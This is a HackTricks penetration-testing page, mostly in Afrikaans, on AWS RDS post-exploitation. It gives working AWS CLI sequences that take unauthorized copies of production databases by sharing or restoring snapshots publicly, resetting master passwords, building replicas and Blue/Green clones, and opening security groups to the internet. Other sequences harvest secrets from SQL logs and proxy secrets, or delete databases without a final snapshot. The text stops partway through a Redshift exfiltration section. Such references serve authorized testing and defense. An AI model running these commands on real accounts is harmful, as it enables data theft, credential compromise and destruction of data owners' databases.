# AWS - RDS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## RDS

Vir meer inligting sien:

{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}

### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`

As die aanvaller genoeg toestemmings het, kan hy 'n **DB publieklik toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n publieklik toeganklike DB vanaf daardie snapshot te herstel.
```bash
aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
'n Aanvaller met rds:StopDBCluster of rds:StopDBInstance kan 'n onmiddellike stillegging van 'n RDS-instantie of 'n hele cluster afdwing, wat tot databasisonbeskikbaarheid, verbroke verbindings en die onderbreking van prosesse wat van die databasis afhanklik is, kan lei.

Om 'n enkele DB-instantie te stop (voorbeeld):
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
```
Om 'n hele DB-kluster te stop (voorbeeld):
```bash
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
```
### `rds:Modify*`
'n aanvaller met rds:Modify* mag kan kritieke konfigurasies en hulpbronne (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) verander sonder om die instance of cluster direk aan te raak. Veranderings soos die aanpassing van koppelings-/time-out-parameters, die verandering van 'n proxy endpoint, die wysiging van watter certificates vertrou word, die aanpassing van logiese kapasiteit, of die herkonfigurasie van 'n subnet group kan sekuriteit verswak (nuwe toegangspaaie oopmaak), routing en load-balancing breek, replication/backup policies ongeldig maak, en oor die algemeen beskikbaarheid of herstelbaarheid verswak. Hierdie wysigings kan ook indirekte data exfiltration vergemaklik of 'n ordentlike herstel van die database na 'n voorval belemmer.

Skuif of verander die subnets wat aan 'n RDS subnet group toegeken is:
```bash
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
```
Wysig laevlak-enjinparameters in 'n kluster-parametergroep:
```bash
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
```
### `rds:Restore*`

'n Aanvaller met rds:Restore*-toestemmings kan hele databasisse herstel vanaf snapshots, outomatiese rugsteun, point-in-time recovery (PITR), of lêers gestoor in S3, en nuwe instansies of klusters skep wat met data vanaf die gekose tydspunt gevul is. Hierdie operasies oorskryf nie die oorspronklike hulpbronne nie — hulle skep nuwe objeke wat die historiese data bevat — wat 'n aanvaller in staat stel om volle, funksionele kopieë van die databasis (van vorige tydspunte of van eksterne S3-lêers) te verkry en te gebruik om data te exfiltrateer, historiese rekords te manipuleer, of vorige state te herbou.

Herstel 'n DB-instansie na 'n spesifieke tydspunt:
```bash
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
```
### `rds:Delete*`

’n aanvaller wat rds:Delete* toegeken is, kan RDS resources verwyder, insluitend DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups en verwante artefakte, wat onmiddellike diensonderbreking, dataverlies, vernietiging van recovery points en verlies van forensiese bewyse tot gevolg het.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`

'n aanvaller met hierdie toestemmings kan **'n snapshot van 'n DB skep** en dit **publieklik** **beskikbaar** maak. Dan kan hy net in sy eie rekening 'n DB skep vanaf daardie snapshot.

As die aanvaller **nie die `rds:CreateDBSnapshot` het nie**, kan hy steeds **ander** geskepte snapshots **publieklik** maak.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
```
### `rds:DownloadDBLogFilePortion`

'n aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of toegangskredens per ongeluk aangeteken word, kan die aanvaller potensieel hierdie inligting gebruik om hul bevoegdhede te verhoog of ongemagtigde aksies uit te voer.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Potensiële impak**: Toegang tot sensitiewe inligting of ongemagtigde aksies deur gebruik van leaked credentials.

### `rds:DeleteDBInstance`

'n aanvaller met hierdie toestemmings kan **DoS bestaande RDS-instansies**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Potensiële impak**: Verwydering van bestaande RDS-instanse en moontlike dataverlies.

### `rds:StartExportTask`

> [!NOTE]
> TODO: Toets

'n aanvaller met hierdie toestemming kan **export an RDS instance snapshot to an S3 bucket**. As die aanvaller beheer oor die bestemming S3 bucket het, kan hulle moontlik toegang kry tot sensitiewe data binne die exported snapshot.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potensiële impak**: Toegang tot sensitiewe data in die geëksporteerde snapshot.

### Kruis-streek outomatiese rugsteunreplikasie vir stilswyende herstel (`rds:StartDBInstanceAutomatedBackupsReplication`)

Misbruik kruis-streek outomatiese rugsteunreplikasie om stilweg 'n RDS-instansie se outomatiese rugsteun na 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB openbaar toeganklik maak en die master-wagwoord terugstel om data buite-band te benader in 'n Region wat verdedigers moontlik nie monitor nie.

Benodigde permissies (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)

Impak: Persistence and data exfiltration deur 'n kopie van produksiedata in 'n ander Region te herstel en dit openbaar bloot te stel met attacker-controlled credentials.

<details>
<summary>End-tot-end CLI (vervang plekhouers)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
--region <SOURCE_REGION> \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
--output table

# 2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
--source-region <SOURCE_REGION> \
--backup-retention-period 7

# 3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups \
--region <DEST_REGION> \
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
--output table
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn

# 4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time \
--region <DEST_REGION> \
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
--target-db-instance-identifier <TARGET_DB_ID> \
--use-latest-restorable-time \
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 5) Make public and reset credentials in DEST
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
--group-id "$OPEN_SG_ID" \
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'

# 5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids "$OPEN_SG_ID" \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--master-user-password '<NEW_STRONG_PASSWORD>' \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'

# 7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
```
</details>


### Skakel volledige SQL-logging in via DB parameter groups en exfiltrate via RDS log APIs

Abuse `rds:ModifyDBParameterGroup` with RDS log download APIs om alle SQL-stellings wat deur toepassings uitgevoer word vas te vang (geen DB-engine credentials benodig nie). Skakel engine SQL-logging in en haal die loglêers af via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om queries in te samel wat moontlik secrets/PII/JWTs bevat.

Benodigde permissies (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (slegs om 'n pasgemaakte parameter group aan te heg as die instansie die standaard een gebruik)
- `rds:RebootDBInstance` (vir parameters wat 'n herbegin vereis, bv. PostgreSQL)

Stappe
1) Recon teiken en huidige parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Verseker dat 'n aangepaste DB-parametergroep gekoppel is (die standaard kan nie gewysig word nie)
- As die instansie reeds 'n aangepaste groep gebruik, hergebruik sy naam in die volgende stap.
- Andersins, skep en koppel een wat by die enjinfamilie pas:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
```
3) Skakel gedetailleerde SQL-logging in
- MySQL engines (onmiddellik / geen herbegin):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL enjinne (herbegin vereis):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Laat die werklas loop (of genereer navrae). Opdragte sal na engine file logs geskryf word
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`

5) Ontdek en laai logs af (geen DB creds benodig nie)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
```
6) Ontleed aflyn vir gevoelige data
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
Voorbeeldbewys (gesensureer):
```text
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
Opruiming
- Stel parameters terug na verstek en herbegin indien nodig:
```bash
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Impact: Post-exploitation toegang tot data deur alle toepassings-SQL-statemente via AWS APIs vas te vang (geen DB creds), wat moontlik leaking secrets, JWTs, en PII tot gevolg het.

### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`

Misbruik RDS read replicas om out-of-band lees-toegang te verkry sonder om die primêre instansie credentials aan te raak. 'n Aanvaller kan 'n read replica skep vanaf 'n produksie-instansie, die replica se master-wagwoord herstel (dit verander nie die primêre nie), en opsioneel die replica publiek maak om data te exfiltrate.

Benodigde toestemmings (minimum):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)

Impact: Read-only toegang tot produksie-data via 'n replica met attacker-controlled credentials; laer waarskynlikheid van opsporing aangesien die primêre onaangeraak bly en replikasie voortgaan.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Voorbeeldbewyse (MySQL):
- Replica DB-status: `available`, leesreplikasie: `replicating`
- Suksesvolle verbinding met nuwe wagwoord en `@@read_only=1` wat leesalleen-replica-toegang bevestig.

### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`

Misbruik RDS Blue/Green om 'n produksie-DB te kloon na 'n voortdurend gereplikeerde, leesalleen green-omgewing. Stel dan die green master credentials terug om toegang tot die data te kry sonder om die blue (prod) instance aan te raak. Dit is minder sigbaar as snapshot sharing en omseil dikwels monitering wat slegs op die bron gefokus is.
```bash
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Impak: Slegs-lees, maar volle data toegang tot 'n byna regstreekse kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir stilletjies data-ekstraksie en aflyn-analise.


### Buite-band SQL via RDS Data API deur die HTTP-endpoint te aktiveer + die master-wagwoord terug te stel

Misbruik Aurora om die RDS Data API HTTP-endpoint op 'n teiken-kluster te aktiveer, die master-wagwoord terug te stel na 'n waarde wat jy beheer, en SQL oor HTTPS uit te voer (geen VPC-netwerkpad benodig nie). Werk op Aurora-engines wat die Data API/EnableHttpEndpoint ondersteun (bv., Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes).

Permissies (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (en rds-data:BatchExecuteStatement indien gebruik)

Impak: Omseil netwerksegmentering en eksfiltreer data via AWS APIs sonder direkte VPC-konneksie na die DB.

<details>
<summary>Volledige CLI (Aurora MySQL voorbeeld)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
CLUSTER_ID=<target-cluster-id>
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
--db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].DBClusterArn' --output text)

# 2) Enable Data API HTTP endpoint on the cluster
# Either of the following (depending on API/engine support):
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
# or
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--enable-http-endpoint --apply-immediately

# Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].HttpEndpointEnabled' --output text

# 3) Reset master password to attacker-controlled value
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
# Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
[[ "$P" == "None" || "$P" == "null" ]] && break
sleep 10
done

# 4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
--query ARN --output text)

# 5) Prove out-of-band SQL via HTTPS using rds-data
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
--format-records-as JSON
```
</details>

Notes:
- As multi-statement SQL deur rds-data verwerp word, stuur afsonderlike execute-statement-oproepe.
- Vir engines waar modify-db-cluster --enable-http-endpoint geen uitwerking het nie, gebruik rds enable-http-endpoint --resource-arn.
- Verseker dat die engine/weergawe werklik die Data API ondersteun; anders sal HttpEndpointEnabled op False bly.


### Haal DB-geloofsbriewe via RDS Proxy auth-sekrete (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

Misbruik RDS Proxy-konfigurasie om die Secrets Manager-secret wat vir backend-outentisering gebruik word, te ontdek, en lees dan die secret om databasis-geloofsbriewe te bekom. Baie omgewings gee breë `secretsmanager:GetSecretValue`-toegang, wat dit 'n low-friction pivot na DB creds maak. As die secret 'n CMK gebruik, kan verkeerd-geperkte KMS-magtigings ook `kms:Decrypt` toelaat.

Permissions needed (minimum):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key

Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.

Stappe
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
Laboratorium (minimaal om te reproduseer)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
Opruiming (lab)
```bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)

Misbruik Aurora PostgreSQL zero‑ETL integration om produksiedata deurlopend te repliseer in 'n Redshift Serverless namespace wat jy beheer. Met 'n permissiewe Redshift resource policy wat CreateInboundIntegration/AuthorizeInboundIntegration vir 'n spesifieke Aurora cluster ARN magtig, kan 'n aanvaller 'n byna regstreekse datakopie vestig sonder DB creds, snapshots of netwerkblootstelling.

Benodigde permissies (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)

Getoets op: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

<details>
<summary>1) Skep Redshift Serverless-namespace + werkgroep</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
--query namespace.namespaceArn --output text)
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
--query workgroup.workgroupArn --output text)
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
```
</details>

<details>
<summary>2) Konfigureer Redshift hulpbronbeleid om die Aurora-bron toe te laat</summary>
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
cat > rs-rp.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AuthorizeInboundByRedshiftService",
"Effect": "Allow",
"Principal": {"Service": "redshift.amazonaws.com"},
"Action": "redshift:AuthorizeInboundIntegration",
"Resource": "$RS_NS_ARN",
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
},
{
"Sid": "AllowCreateInboundFromAccount",
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
"Action": "redshift:CreateInboundIntegration",
"Resource": "$RS_NS_ARN"
}
]
}
JSON
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
```
</details>

<details>
<summary>3) Skep Aurora PostgreSQL cluster (enable Data API and logical replication)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--engine aurora-postgresql --engine-version 16.4 \
--master-username postgres --master-user-password 'InitPwd-1!' \
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
# Serverless v2 instance
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
# Cluster parameter group for zero‑ETL
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
